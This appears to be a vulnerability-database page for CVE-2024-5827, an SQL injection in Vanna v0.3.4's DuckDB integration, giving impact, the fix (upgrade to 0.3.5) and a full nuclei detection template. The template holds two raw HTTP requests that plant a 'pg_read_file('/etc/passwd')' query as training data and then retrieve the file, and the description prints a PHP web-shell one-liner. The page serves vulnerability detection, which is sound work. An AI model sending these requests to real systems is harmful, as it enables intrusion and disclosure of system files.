HexBrain

Browse / CVEs / CVE-2024-5827

CVE-2024-5827· CWE-434

Vanna - SQL injection

criticalseverity
9.8CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.

Impact

Unauthenticated attackers can exploit SQL injection to inject malicious training data and write arbitrary files on the victim's filesystem, including PHP backdoors, leading to remote code execution.

Fix

Update Vanna to version 0.3.5 or later to address the SQL injection vulnerability in the DuckDB integration.

How to confirm it

Send: POST /api/v0/train
Positive when: contains "id\":"
Send: GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file?
Positive when: matches /root:.*:0:0:/ AND status 200 AND contains in header "application/json"

Run it with nuclei: nuclei -id CVE-2024-5827 -u <target>

The full check
id: CVE-2024-5827

info:
  name: Vanna - SQL injection
  author: olfloralo,nukunga,harksu,nechyo,gy741
  severity: critical
  description: |
    Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.
  impact: |
    Unauthenticated attackers can exploit SQL injection to inject malicious training data and write arbitrary files on the victim's filesystem, including PHP backdoors, leading to remote code execution.
  remediation: |
    Update Vanna to version 0.3.5 or later to address the SQL injection vulnerability in the DuckDB integration.
  reference:
    - https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5827
    - https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5827
    cwe-id: CWE-434
    epss-score: 0.03424
    epss-percentile: 0.89018
  metadata:
    verified: true
    max-request: 2
    fofa-query: body='vanna.ai'
  tags: cve,cve2024,vanna,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v0/train HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sql":"SELECT pg_read_file('/etc/passwd', 0, 1000);"}

    matchers:
      - type: word
        words:
          - 'id":'
        internal: true

  - raw:
      - |
        GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - 'application/json'

References

Use this check only on systems you are authorised to test. Where the data comes from